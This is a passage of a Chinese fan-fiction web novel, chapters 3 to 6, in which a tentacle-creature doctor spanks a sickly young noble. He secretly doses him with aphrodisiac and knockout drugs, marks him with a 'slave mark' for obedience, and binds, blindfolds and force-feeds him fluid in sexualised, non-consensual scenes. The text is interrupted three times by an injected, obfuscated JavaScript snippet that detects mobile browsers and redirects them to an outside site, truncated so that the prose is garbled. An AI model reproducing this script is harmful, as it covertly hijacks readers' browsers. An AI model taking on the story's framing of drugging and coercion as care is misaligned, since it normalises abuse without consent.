《触手也来过无惨肚子》 3. 第三章 那微凉的掌心落在他身上,力道不轻不重。 疼吗? 其实不怎么疼。 但他头晕目眩。这完全是折辱。 “你……你……”竟说不出话来。 清空又落下一掌。 “啪。” “这是第一次浪费食物。”清空的声音平静地响起,“中午的汤。” “啪。” “这是第二次。晚上的菜。” 月彦咬着嘴唇。 他是产屋敷家的继承人。他是高高在上的贵族少爷。他是所有人都要小心翼翼伺候的存在。 而现在,他正被一个不知道从哪来的野医生按在床上教训,连他父母都没做过这种事。 “你……你最好打死我……”他的声音从牙缝里挤出来,带着颤抖,“否则……我一定让你……生不如死……我会告诉我的父亲……” 清空语气平静:“告诉你的父亲,什么?” 月彦:“……” 说不出口。 “我并不介意在他们面前做这种事。” “你——” 这家伙完全不是人! 月彦想骂,但下一瞬,那只手又落下来了。 一下,又一下,像在数数,又像在丈量什么。月彦趴在那里,浑身发抖,不敢动,也动不了。 “请你道歉,以后不浪费食物。”清空如是说,“作出承诺吧。” 但小少爷闷头埋在枕上,一动不动。 到底是病人,清空其实没怎么用力,雷声大雨点小,最多就是吓吓人。但看着单薄的、不断颤抖的肩膀,他还是反思了一下自己用的力度。 月彦闷头埋在枕上,一动不动。 清空顿了顿。 他松开按着月彦后背的手,绕到侧面,低头去看。 小少爷把脸埋在锦缎里,只露出半边侧脸。那苍白的皮肤上,此刻正蜿蜒着一道水痕。 眼泪。 清空愣了一下。 月彦的眼睫很长,此刻湿漉漉地黏在一起,像被雨打湿的鸦羽。那双阴红色的眼睛紧紧闭着,睫毛却止不住地颤,每颤一下,就有一滴泪从缝隙里挤出来,顺着鼻梁滑落,没入身下的锦缎。 他的嘴唇紧紧抿着,咬得发白,像是在用全身的力气阻止自己发出任何声音。但那微微颤抖的下巴,那因为用力而绷紧的脖颈线条,还是出卖了他。 苍白,脆弱,被泪水浸透。 像一只被折断了翅膀、却还在拼命维持尊严的鸟。 “你哭了。”清空说。 月彦的肩膀剧烈地抖了一下。 然后他猛地抬起头,用那双湿透的红眸狠狠瞪向清空。眼眶红了一圈,眼尾还挂着要落不落的泪,却硬是撑出满脸的凶狠和讥讽。 “你哪只眼睛看见我哭了?” 清空指了指自己的眼睛:“两只。” 有必要的话,他长出一百只都没问题。 月彦:“……” 他哽住了。 然后他狠狠地、用尽全身力气地,重新把脸埋回枕头里。 清空看着那颗埋进锦缎里的脑袋,看着那露在外面的、红透了的耳尖。 他觉得人类真奇怪,特别是病人,嘴上说的全都不可信,唯有身体反应不会骗人。 月彦知道他仍然在盯着自己,羞愤抬头:“你到底……还要做什么?”他似乎是想发怒的,可他的眼泪和现在的情况,都不支持他发出以往那样尖锐的声音。 不如说,他现在说话不比蚊子声大多少,呜呜哎哎的吟出来,彻底失去了以往贵族那温吞优雅的语调。 “作出承诺。”清空不忘初心,“道歉。否则惩罚继续。” 月彦的呼吸变得很重,他咬死了不开口。 怕他把自己闷死,清空伸手从他腋下穿过,将身形单薄的少年拢入怀中,轻轻一抬,便让他抱着自己。 因为火热痛麻的感觉尚在,月彦坐不下来,被迫抬着腰。为了维持平衡,两只手臂都挂在了清空身上。 这个姿势让他浑身僵硬。 “你放开我!”他终于找回声音,但喊出来的调子比平时软了太多,带着哭过的鼻音,一点威慑力都没有。 清空低头看他。 这个角度,月彦的眼眶还是红的,睫毛上挂着没干的泪珠,嘴唇被自己咬得发白,却还要撑出一副凶狠的样子。那双阴红色的眼睛瞪着他,里面是怒火,还有羞耻,委屈。 以及一点藏不住的慌乱。 “道歉。”清空说。 “你做梦!” 清空的手动了动。 月彦的身体立刻绷紧了。他能感觉到那只微凉的手掌隔着薄薄的衣料贴在那里,不轻不重地按着,随时可以落下来。 “你——你敢——” 清空的回答是又一掌。 “啪。” 不是很重,但足够清脆,在这个过于安静的房间里格外响亮。 月彦整个人都弹了一下,两只手臂下意识地抱紧了清空的脖子。说是要人放开,但其实清空没用力,完全是他自己把人抱紧了。 他意识到了,抖得更厉害。 把埋在清空肩窝里的脸动了动。于是有什么温热的东西,滴在了清空的脖颈上。 一滴。两滴。 那张苍白的脸此刻全是泪痕。眼眶红透了,睫毛湿透了,连鼻尖都是红的。嘴唇被咬出了血,一小点殷红渗在惨白的唇上,触目惊心。 “道歉。”他放轻了声音。 “我……我……”月彦的声音也抖得厉害。他把脸重新埋回清空的肩窝里,闷闷的声音传出来,带着浓重的鼻音和哭腔, “……对不起。” “我不该……浪费食物……”月彦的声音断断续续的,像是每一个字都要用尽全身的力气,“我……我以后不……不这样了……” 说到最后,他已经说不下去了。 眼泪流了满脸,沾在清空的衣领上,洇开一小片深色的痕迹。他整个人都在发抖,两只手死死抓着清空的衣服,像是抓着最后一根救命稻草,又像是想掐死他。 低着头,声音软得不行,眼里全是怨毒。 清空点头:“是乖孩子。” “呜……” 月彦彻底崩溃了,他抬起头,对上清空的眼睛,却一阵恍惚。 身上失了力气。 如同泡在温水里一样,整个世界都离他远去。 “很累吧,”清空的声音低低地传来,抚摸着他的后背,“睡吧,好好休息,明天起来不会疼的。” …… 之后的几天,日子忽然安静下来。 月彦没有再闹。 不是不闹,是闹不起来。 身上果真没有疼痛,甚至连痕迹都没有,月彦一度以为那是自己的噩梦。 每天到了饭点,那个该死的医生就会准时出现,端着一份刚好够他吃的饭食,放在矮几上,然后坐在角落里看着他。 无论是身体还是精神,他都感到恐惧。 “你是人吗?”月彦有一次忍不住骂道。骂得非常谨慎。 清空乍然抬眸:“真聪明,我不是。” 月彦:“?” 有病。他在心里想。 但他不得不承认,这个神经病做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334923|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的饭,确实是他这辈子吃过最好吃的。 而且奇怪的是,他吃了这些天,竟然真的没有再吐过。胃里不再翻涌,吃下去的东西老老实实地待在应该待的地方,变成身体里一点点暖洋洋的力量。 某天吃饭。他吃完最后一口,放下筷子,等着那个医生来收碗。但清空没有立刻起身,而是看着他,忽然开口。 “你今天吃完了。” 月彦愣了一下。 这几天他确实每天都吃完了。不是因为被盯着,而是因为……这点东西刚好够他吃饱,不会多到让他难受,也不会少到让他饿。 但他没说出来。 “所以呢?”他梗着脖子,几天下来,胆子重新变大,“你做的太少,不吃饱我哪有力气骂你。” 清空点点头,接受了这个解释。 然后他站起来,端着碗走了。 阳光从窗棂里斜斜地照进来,在地板上投下一片温暖的光斑。月彦半靠在软枕上,难得的没有什么不舒服的感觉,有些昏昏欲睡。 然后门被推开了。 清空站在门口,逆着光,看不清表情。 “起来。”他说。 月彦皱眉:“干什么?” “散步。” “……” 月彦以为自己听错了。 “你疯了?”他冷笑,“我这个身体,你让我散步?” “就是因为这个身体,才要散步。”清空走进来,站在他床边,居高临下地看着他,“你这几天吃得比之前多,没有吐,应该有力气了。” 月彦想反驳,但话到嘴边,忽然卡住了。 因为清空说的是事实。 “试试看。”清空说。 没有别人帮忙,没有人紧张或担忧地看着他,只有一个不负责、折辱人的恶医。 月彦披上外套,走向院子内的空地。 他太久没运动,走路于他而言都有些不熟练。 他走到了门口,走到了走廊边,然后停下来,扶着门框,看着外面铺满阳光的庭院。胸口开始剧烈起伏,不是因为喘不过气,而是因为…… 他竟然真的……没那么虚弱了。 “你……你做了什么?” 他的病是从娘胎里带出来的,多少名医神婆都治不好,怎么可能被这个野医生随便喂几天饭就…… 清空诚实道:“你的饭,我加了料。” 一点点触手汁,开胃的。 当然,主要还是吃得好,补充营养,人身体自然就会变好。 “今天开始,你可以正式吃药了。”他平静道,“你四肢发凉,总是难以入睡,先吃点能让你身体变暖的药,和安神的药。” 月彦虽然着实讨厌他,却被这充满希望的治疗勾起了兴趣,他问:“什么药?我要知道药方。” 他真的很想去医留方。 “秘方。” 清空心想自己总不能说,是触手最擅长的春日良药和迷药改造出来的东西。 当晚,月彦喝下了药。 完全不苦,反而甜丝丝的,很好喝。 药效也出奇地好,他终于拥有了一个安详的夜晚,一觉至天明,完全没噩梦。 侍女端来了早餐和药。 月彦:“庸医呢?哪儿去了?” “清空大人今早出门了,说是要两天后才回来。” 月彦的心思一下子活泛起来,他看着药碗:“这是你煎的药?他有没有留下药方?” 侍女犹豫道:“没有,但他留下了两个小瓶,吩咐我分四次,两天,加入您的药汤里。” 月彦直觉那是关键:“把它拿过来。” 4. 第四章 晨光透过和纸门,在榻榻米上投下朦胧光斑。 阳光,微凉的晨雾,月彦很少有心情欣赏这样的风景。 他总是会想起,别人在晨光里忙碌,而他稍微受点风都头疼欲裂。 现在不一样了。 他将窗推开,难得没有躺在床褥上,而是衣着整齐,坐在屋檐下,兴致勃勃看着侍女端来的药瓶。 那是两个很小的瓶子,左右不过巴掌大小,看材质,贵不到哪儿去。 他打开嗅闻过,和他喝的药汤里面,那股子甜丝丝的气味,很相似。 “叫藤原医师来。”月彦摩挲着瓶身的螺纹,“现在。” 没多久。 枯瘦的老医师跪坐在矮几前,将药瓶中的透明液体滴入瓷碟。 药液粘稠如蜜,散着异香。 “这……时间太短,老朽看不出这是何物熬制而成。”老医生擦了擦汗水,他也算德高望重,原先就给这少爷看过病,只是实在没有办法,加上被百般刁难,便托辞说年迈,没有继续治下去。 他神色莫名,小心翼翼,拿起另一个药瓶:“但这瓶药……闻之便让人昏昏欲睡,像是、像是烈性迷药啊。” “迷药?” 月彦心里一惊。 “是。”老医生的语气渐渐坚定起来,“确实有安神、安眠的效果,可药性如此强烈,您身体……恐怕不适合。” 然而,刚才还在震惊的小少爷,嗤笑打断了老医生:“那便是确实有用了。” 他早就尝试过各种药物,其中不乏激进的医师。 烈不烈的,根本无所谓,有用就行。 谁不喜欢夜间有一段无痛的安眠呢? 而且眼前这个德高望重的医师,老得和木头一样,人人都赞他,也没见他治好自己的病。也并不知道,他在喝这种药之前,身体已经有些好转了。 月彦现在承认,那个恶医有点本事。 “连药材都辨不出的庸医,送客。” …… 暮色,林间。 清空正在捕猎。 他违背触手家的祖训,没去找过食谱上的东西,只吃肉食。虽然也能正常生活下去,却对肉食的需求特别高。 好在他不挑食,鱼类,禽类,兽类,都可以吃。 也很擅长捕猎,叉鱼什么的,用触肢捉东西一捉一个准儿。 他知道在一个地方捉猎物捉太多不太好,便多花了些时间,往更远的山林里面去。大部分地方都是荒山,毫无人烟。 捉到足够多的猎物后,把它们搬回去就成了难题。 只能等晚上,夜色深沉,偷偷回去。 说实话,很麻烦。 住在城市里大概就是这样,房子、集市和人群,意味着他不能放飞自我,把猎物堆成小山,再把吃完的白骨堆成小山。 那样大概会把人吓坏的。 清空也曾犹豫过,要不要试一下触手的祖传食谱。 但他很快就想起自己的家庭——准确来说,是自己的父母。不管用哪只眼睛看,他的父母都不太……和睦。至少他离开家之前还在互相折磨。 他对捕猎好吃的人类,感到畏惧。 他也可以催眠大量普通人类,豢养起来。 但清空并不想这样做。他的医生老师兼养父算是个很善良的人,别人如何考虑无所谓,但老师怎么说也养了他十来年,他不是很想一下子把人气死。 对于熟悉的、可以称之为家人的生物,他不想用催眠之类的手段。 距离天黑,时间还很充裕。 …… 月彦并不是那种会听医嘱的人。 医生不在,侍女也不敢反驳他。 他命人搜查了清空的房间。医生的房间布置很简单的,床铺整整齐齐,几乎没有居住的痕迹。 也可能是收拾东西很麻利。翻找东西的仆从有点忧心,他并不想这样做。虽然只短短相处了几天,他却已经对这个医生又敬又怕。 医生是个……古怪的好人。 出乎所有人的意料,医生房间里的药物并不多,也没有药物典籍之类的东西。完全不像是一个医生的房间。 搜罗到的东西,全都摆在了月彦的面前,让他一一过目。 直到月彦嗅到了和药瓶中一样气味的东西,才满足的笑起来。 这同样是个药瓶,份量比清空交给侍女的,要稍微大一些。月彦眼神晦暗,在喜悦过后仍然觉得不满足,这药的效果十分强烈,见效又那么快、那么好,如果清空能一下子提供足够的药物,那么他就不需要这个医生了。 他屏退了侍女。 月彦有种直觉般的预感,他每日喝的药物,有用的成分不过是这两种。清空自己也说过,一种是安眠的,一种是令身体变暖和的。 在吃药这件事上,他非常的,有自己的主意。 安眠的药物,晚上吃吃就可以了,至于另外那份…… 他将药瓶打开,粘稠的半透明液体落入盘中,只一点。 又用银筷沾了,送入口中。 因为过于浓郁,甜味中还带着一丝腥味儿,在舌尖炸开。他含了一会儿咽下,不出片刻,便觉得有暖流窜向四肢百骸。 昨夜安眠的温煦感再度涌现,连常年冰凉的指尖都泛起微热。 他很喜欢这样的感觉。 就像,他拥有了正常的、健康的身体一样。 一天只喝两次药,药效并不能持续覆盖一整天,但像现在,每次只吃一点点,就能全天都暖暖的。 他摩挲着那个稍大一些的药瓶,脸上缓缓浮现出一个冰冷的笑容。 “藤原那个老废物虽然没用,却正好给我递了把柄。他的话,足够作为证据。”月彦心中盘算着,“迷药……一个医生私藏烈性迷药,还意图给贵族使用……这罪名,足够让他万劫不复了。” 月彦虽然并不赞同迷药的说法,也不打算把清空给抓起来。 可他需要报仇。 他想象着清空回来时的情景。那个红发红眼、不像医生的家伙,总是那么平静,仿佛一切尽在掌控。月彦厌恶那种平静,他想要看到那张凌厉的脸上出现慌乱、恐惧,或者至少是屈服。 …… 清空是在前半夜回去的。 他的打算很好,前半夜趁着天黑,把猎物们偷偷运回家,后半夜则把猎物大致处理了,放在冰冷的地窖中储存。 到底是贵族家,地窖中存贮了冰,气温很低,非常适合囤粮。 想到接下来又有吃的了,他心情极好,轻盈地翻过墙——没办法,猎物太多,走正门会很麻烦。 他用触肢包裹着猎物,一个个运进院子。血液基本上没有,在他杀死猎物时,触肢就已经把血吸收了大部分。 很快,各种动物,在院子中堆成一座小山。 搬着搬着,清空忽然觉得这地方蛮大的,他可以在院子里面蓄养小动物,养些牛羊、兔子之类的。 还可以种菜。虽然他不吃。 脚步声,忽得从身后传来。 清空听力是极好的,下意识用触肢掩盖了猎物们,天色本就黑,触肢一盖,看不太清。 他回头,却看见一个意料之外的人。 月彦。 病弱的小少爷,却在半夜,提着灯笼出现在院子中。 昏黄的光晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你倒是诚实,”看来,清空已经认识到了局势,“不过,我念你之前也算尽心,可以给你一个机会。把你私藏的药交出来,再把药方也写下来,等藤原医师验明了,说不定可以放你一条生路。” 清空沉默片刻。 他看着这恢复活力就开始作妖的小少爷,竟有些觉得,他还是躺在床上起不来的时候,比较可爱。 夜风带来对方身上的气息。 “我的那些药,不是已经在你身上了吗?”清空感到头疼,“你吃了多少?” 月彦:“你先回答我的问题。” “这药,有副作用,”清空却说了下去,“发热,令身体暖和,原本只是它的副作用。我加以调配,改掉了其他的效果,才能给你喝。” “而我房间里那瓶,是没有经过调制的。月彦少爷,您的行为更像是一个小偷呢,这不是好孩子的行为。” 月彦的表情瞬间变得狰狞:“怎么,你难道又要惩罚我?你这个颠倒黑白的——” 清空靠近,他下意识后退两步。 又立刻因为这本能的害怕,感到愤怒,倔着一张白皙的脸,瞪着对方。 清空却只是把他怀里的药拿走了,感受了一下剩下的药物份量,他又是一阵沉默。 怎么说呢…… 不听医嘱,乱吃东西。 还吃那么多。 月彦也从他的表情里察觉到了什么,警觉道:“你什么意思?这药有毒?你给我下毒?” 清空摇摇头,温声道:“你先回房间等我。” 月彦当然要反驳,可鬼使神差的,他点了点头,小腹和大脑都像是要融化。他缓缓转了身,昏昏沉沉地往自己的房间走去。 5. 第五章 月彦回到房间,关上门。 他在门边站了一会儿,夜里格外安静,安静到他能听见自己的呼吸和心跳。 他才意识到自己刚才做了什么。 清空的声音落进耳朵里,他就……他就听话了。没有挣扎和犹豫,就像身体不属于自己了一样。 难道,他在害怕他?害怕惩罚,所以听话。 月彦攥紧了手指。 不可能。 他怎么可能怕那个混蛋?他是家族继承人,生来高高在上,那个来历不明的野医生算什么东西?他刚才只是……只是…… 他竟想不出理由。 扯了扯衣领,他觉得有些闷,但又说不清是哪里闷。 “副作用……”他喃喃重复。 什么副作用? 发热他已经感觉到了,但这只是让他暖和,有什么不好?他从小到大,从未感受过这种从内而外的温暖,这明明是好事。而且这两天下来,根本没有什么副作用,反而越来越有力气。 月彦越想越烦躁,越想越觉得胸口烧着一团火。不知是因为药效,还是因为别的什么。 他最终在矮几前坐下来,盯着烛火发呆。 不知道过了多久。 门外传来脚步声。 月彦的身体先于意识做出了反应——他绷紧了脊背,手指下意识地攥住了衣摆。然后他才意识到自己在做什么,立刻松开手,脸上浮现出一丝恼怒。 门被推开。 清空站在门口。逆着走廊里微弱的灯光,看不清表情,只有那双红色的眼睛在昏暗中微微发亮。 他走进来,关上门,然后在月彦对面坐下。动作随意,像在自己家一样。 月彦看着他,忽然发现一个问题——这个人身上,有一股血腥气。 很淡。 他忽得头皮发麻,却没敢问他做了什么。 “副作用是什么?”他直接开口,“你刚才没说完。我的药,到底有什么问题?” 清空看着他,沉默了一会儿。 “脱衣服。”他说。 月彦愣了一下:“什么?” “脱衣服。”清空重复了一遍,“我要看看。” 看什么? 月彦的脸腾地烧了起来。他讨厌这种被命令、被冒犯的感觉。 清空:“只是检查身体。” 是……是检查身体。是了,这个是正常的事。他想起来。 “你就不能学学敬语?说话未免太粗鲁了。”他嘴上抱怨了一下,将手抬起,褪下外套,解寝衣的系带。 清空心想您也没多礼貌啊。 寝衣滑落,露出苍白的肌肤。烛火摇曳,在纤瘦的身体上投下摇晃的光影。 他扫了一眼,印记的颜色果然加深了很多。 月彦也低头,颇为得意:“你看,我根本没问题。” 这颜色,健康得很哪。 清空:“……” 这就是个临时种下的奴隶印记,触手家族里遗传小妙招,让人听话用的。但现在印记加深的速度比他想象的快太多,而病人完全没痊愈。 这样下去,扎了根,会很难抹除的。 看来,过段时间只能提前把这玩意拔了。 清空又看着他,眼睛里难得的有一丝认真:“你现在感觉不到冷,也感觉不到难受,对不对?” 月彦愣了一下,然后点点头。 “那是因为药效还在。”清空说,“但这只是暂时的幻觉。你的身体并没有变健康,只是被药物撑起来了。等药效过去,你会回到原来的样子,甚至更差。” 清空的声音平静:“不能因为现在舒服,就不停吃。” 他真怕小少爷吃多了发春,把自己发死。 “是药三分毒。” “你吃了太多药,接下来几天可能会有些反应。发热会更明显,可能会睡不着,也可能会做噩梦。”清空的语气里带上了一点轻微的指责,“先停药,你太沉迷了。” 月彦却想起白天那种暖洋洋的感觉,想起自己站在阳光下时的欣喜。他终于,有那么一点像正常人了。 他想。清空这家伙,懂什么呢? 这个高挑健康的年轻医师,这辈子感受过那种被困在床褥上的屈辱感吗? “我要吃。”他格外坚定,“你帮我控制药量,不吃出问题就行。” 清空:“……” 仍然是不见棺材不落泪。 他垂眸:“可以感受一下副作用再决定吃不吃,也许会有些难受。” 月彦嗤笑。 单论身体上的不适,他可是早就习惯了。 他正想问什么时候能感觉到,身体里的热意忽然变了个调子。 话卡在喉咙里。 暖洋洋的舒适消失了,转而出现的,是一种古怪的、让人心慌的燥热。从小腹开始,向四肢百骸蔓延,像有什么东西在他身体里流窜,让人浑身发软,喘不上气。 “你……”他的声音变了调,“你对我做了什么?” “药效发作了。” 清空的声音,好像也遥远起来。 月彦想说点什么,但什么都说不出来。那股热意越来越强,像潮水一样淹没他的意识,眼前一阵阵发黑。 他撑着矮几,想站起来,但腿一软,整个人往前栽去。 清空伸手接住了他。 微凉的触感贴上皮肤,月彦下意识地攥紧了他的衣袖。那点凉意让他短暂的清醒了一瞬,他抬起眼,对上那双近在咫尺的红色眼睛。 他难堪地移开视线。 陌生的感觉在身体里积蓄,他说不出来那是什么。 清空:“我也不太知道,会有什么反应。” “你这个……庸医……” “因为其他病人都很听话,”清空叹气,“只有你是坏孩子。” 月彦的呼吸重了几分,他不喜欢听到这种语气:“我早不是小孩了!” 下一秒,天旋地转。 清空知道这药吃多了,人会失去理智,还很容易乱动、挣扎,他不觉得月彦能挣扎出个什么结果,但也不想看他打翻器具。 这房子里的大部分东西,未来都是他的。 干脆先下手为强,将人捆起。 猎物绑多了,他绑人的技术也很好。 月彦起初还零零碎碎地骂了几句,后面就几乎没声了。 侧躺在床上,手臂被反剪到背后。 想了想贵族老爷们最爱的体面,清空给他盖上了被子,伸手拢了拢那海藻似的黑发。 触碰到了颈侧,才发现,出汗了。 “睡吧。” 他留下一句话,离开了房间。 …… 月彦似乎听见门关上的声音,他意识模糊,外界的声音忽远忽近。 房间里就只剩下他一个人了。 手臂被反剪到背后,缠着的不知道是什么东西,柔软却挣不开。 “唔……” 月彦下意识地用力呼吸着。 说不出来是什么感觉,像是有什么东西在他身体里一点一点地膨胀,找不到出口,只能在他体内横冲直撞。 他一定出了很多汗。 额头上,脖颈上,后背,汗水一层一层地往外冒,浸湿了寝衣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339061|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月彦闭上眼睛,又睁开。闭眼的时候眼前是一片混乱的光影,睁眼的时候看见的是摇晃的烛火和昏暗的房梁。他分不清哪个更让他头晕。 像有人在拿小火苗,从里到外,一点一点地烤他。不烫,但持续不断,让人发疯。 他的身体开始不受控制地发抖。 一点都不冷。可他就是抖,从指尖到肩膀,从腰腹到脚踝,全身都在细微地、无法抑制地颤抖。 “唔……嗯……” 他不知道过了多久。可能是半个时辰,可能是一个时辰,可能只有一炷香。 门重新打开了。 熟悉的脚步声。 清空等了等,看着床上一动不动的人,微微松了口气,小声问:“已经睡着了吗?” 他怕小少爷难受,下了暗示。 没有回答,看来是睡着了。 睡着了也不错,病人醒着的总是不听话。他无声走过去,掀开被子,将绑着人的布条取下来。清空记得这养尊处优的小少爷,非常的细皮嫩肉,稍微用点力都会留下痕迹,要是捆一晚上,怕不是把人捆坏了。 这毕竟不是他打的野鹿。 清空拆螃蟹似的将人身上杂乱的衣服拆好了,打算给人重新换上一套干净的。好歹也服侍了几天,知道干净的寝衣就放在柜子里,于是转身蹲下,在微弱的光线下寻找。 才将衣服拿起,一道白影,狠狠地扑了上来。 清空措不及防,被推到了地上。 “……” 小少爷身体里也不知道哪儿来的力气,浑身都发着汗,衣服披在肩膀上。他两腿跪在清空腰侧,明明肩膀、头颅都是塌下去的,两条胳膊却伸起来,死死地去掐清空的脖子,宛如一条幽魂恶鬼。 如果这力度算得上掐的话。 清空:“你还醒着啊。” 也不知道月彦有没有听见他说话。清空动了动,对面没有任何反应。他又想起来这小少爷,醒着还是昏迷,都不会听话。 顿觉释然了。 “我……”微弱的声音,猫叫似的哼哼出来,“我恨你、我、我杀了你……你竟敢给我吃毒……” 清空:“那是你自己偷吃的。” 看起来还有一点点理智,过来掐他只是普通的医闹。 太好了,只要不是药物突然出现发癫的副作用就行。 “帮我……” “嗯?” 显然月彦现在全凭一股毅力说话:“你不是医师吗?一定有办法的对不对……你要什么我都会给你的……” 他自觉已经十分放低身段,做出请求,可这个冷血的年轻医生,依然一动不动。 月彦脑子很混沌,却依然敏锐。 他意识到,这医生,并不图他什么。或者,认为他能给的不够份量。 清空的声音很平静,平静到虚假:“你听话,我就很高兴了。” 他再度将月彦的手绑上。又额外将眼睛蒙上。这也是捕猎得来的经验,被剥夺视觉的猎物,会本能的不敢挣扎。 “难受吗?” “嗯……” “这药不能吃了。” “不……” 一声叹息,从上方落下。 脸颊被掐住,被迫抬起头,以至于脖颈绷出一道颤抖的弧度。他看不见,所以并不知道,非人的触肢已经在屋内蜿蜒。 一滴微凉的液体落在他鼻尖,陌生的气味。他有那么一瞬间短暂的清醒,问:“这是什么?” “当然是缓解的药。”清空用拇指压了压小少爷的唇角,他声音淡淡,半哄半命令。 “张嘴。” 6. 第六章 清空把月彦放一边,让触肢继续给他灌药。 他配的药很多都拿自己当原材料,没有办法解毒,寻常的方法都不会有用。 想了想,也就只能大量给人灌无毒的触手汁,将毒性溶解在里面,最后一并排出。 触肢慢悠悠地干活,而他也跪坐下来,将被汗浸湿的被子叠起,重新铺了床干净的。 月彦这人,挺能出汗的。 现在给他灌水,也算是补充些水分。 触手是一种含水量很高的生物,是很喜欢含水量丰富的潮湿环境的。清空想起来自己还没有洗澡,身上沾染了山林泥土的味道,和猎物的血腥气。 刚才他已经把猎物运到地窖里了。 等结束月彦这边的事,他就去洗个澡。 他又看了一眼双手被捆着的小少爷。喉咙真窄。 感觉,也可以给月彦洗一下。 当下的人不太会经常洗澡,容易感染风寒。月彦这种常年卧床的病人,更不可能经常洗澡。不过,到底是贵族,服侍的人很多,经常用热毛巾擦拭身体,还会用熏香。 他是懒得给人擦一遍,不如洗了。 反正有他看着,不会给人洗出毛病来的。 他打了个哈欠。 稍微有点累了。 触手的作息和人类的作息完全不同,经常一段时间不睡觉,再连着睡上一阵。清空前些天一直没有休息过,为了尽快得到这个院子作为巢穴,他一直在观察小少爷的身体情况,然后把药配好。 当下是春天,气候渐渐转暖,也是触手最有活力的时期。 等气候再热些,他就会想要休息了。冬日也会非常懒惰。 考虑到马上到来的夏天,他应该抽空在后院挖个池塘。 触手本体很大,想爽快地洗澡,用木桶是不现实的。清空觉得这个院子唯一的缺点,就是没有足够的水。 明天让仆从出门,买些种子回来种起来,再买点鸡鸭,等池塘挖出来,就养鱼…… 他思考着。 月彦已经昏迷了,肚子胀得鼓起来。 真好,睡着了是如此安静。 清空用触肢把人拖起来,抱着去洗澡。 囫囵把人放进温度合适的水里,用触肢涮了几遍,就洗好了。 清空真的很喜欢不会吭声的病人,要是月彦醒着,一定会因为这种粗糙的洗澡手法而感到强烈不满。当然,在那之前,肯定会因为触肢尖叫。 他用触肢把月彦身上的水珠舔舐干净,拿干净的衣服把人裹起来,放在一边,便不再管了。 清空自己跳进水里,眯起眼睛,进行短暂的休息。 …… 月彦是被水声吵醒的。 他昏昏沉沉地睁开眼睛,眼前是一片昏暗——眼睛还被蒙着吗? 不对,没有被蒙住,单纯是没有光。 他想动,但身体像被抽空了所有力气,连手指都抬不起来。 然后他感觉到了。 肚子。 肚子好胀。 他慢了半拍意识到,他想尿。 非常想。 念头一冒出来,胀感瞬间变得更加难以忍受。他下意识地想蜷起身体夹紧腿,但做不到——他连动都动不了。 “唔……” 喉咙里发出一声细微的声响,他这才发现嗓子也很痛,哑哑的。 “清空……” 他喊了一声,声音沙哑得几乎听不清。 水声停了。 清空知道自己短暂的休息时间结束了。 他可以夜视,所以懒得点蜡烛。 人类就不行,真麻烦。 他偷偷用触肢点了灯笼。 昏暗的烛光刺进来,月彦眯了眯眼,等视线清晰后,看见清空正蹲在他面前。身上湿漉漉的,暗红色的头发滴着水,穿着一件随意披上的单衣,露出一片肌肉结实的胸膛。 这里是……洗澡的房间。 清空问语气很平静:“你醒了,有什么地方难受吗?” 月彦想骂他。 就这么把他随便丢在一边,自己美美洗澡,这是照顾人该有的态度吗?太荒唐了,他有点被气笑了。 更多的记忆浮上来,他现在不怎么难受了,便想起夜半的折磨,想起被蒙着眼灌药。 他真心实意觉得清空这人应该死刑。 但他现在没有力气骂人,只能用尽全力,挤出几个字: “我要……如厕……” 清空眨了眨眼。 然后他低头,看了一眼月彦的肚子。 月彦的寝衣是新的,干净而宽松,但小腹那里明显鼓起了一个柔软的弧度。清空伸手按了按,月彦整个人都抖了一下。 “确实很胀。”清空说,像是在确认什么事,“不过,你先忍一忍。我给你灌的药,能中和毒性。太早排出,身体里面还会有余毒。” “还、还要等多久?”月彦问。 很显然他现在又有理智和力气了,虽然身体动不了,眼里却浮现出浓郁的怨恨,把先前和此刻遭受的痛苦原因,全都归咎到清空身上去。 明明一个时辰前,还在软软地恳求,说什么都可以做。 人类就是这样摇摆不定的生物吗?清空思考着。 他随口道:“这根蜡烛燃尽的时候。” 月彦:“……”他恍惚起来。 清空不理他了。 其实不用等这么久,但他也想休息。熬鹰似的,把病人体力磨一磨,也不是什么坏事。 太有活力,也不是什么好事。 他洗澡才洗了一半呢。 有人在的时候,他就不能用触肢清洁自己了,只好规规矩矩地拿了干燥的毛巾,擦了擦自己的头发。头发有点长了,水淋淋地拧在一块儿,他挤了挤,淌出一串水珠。 滴滴答答。 月彦像是炸了毛一样弓起背:“唔——” 他几乎是尖叫,虽然嗓子根本没力气,只能挤出沙哑的哼哼:“排不干净就排不干净!多灌几次药我也可以接受,我忍不了了!” 清空:“哎,再忍忍。” 月彦开始觉得,他是故意的。 可医生的语气如往常般冷淡,自顾自地擦着水珠,如果是故意折辱,他又没有看向自己。就接触下来的体验而言,清空这人虽然很奇怪,治疗相关的事情却都非常认真,没有乱来。是他多疑了么。 他肚子胀得发颤,本能看着烛火。 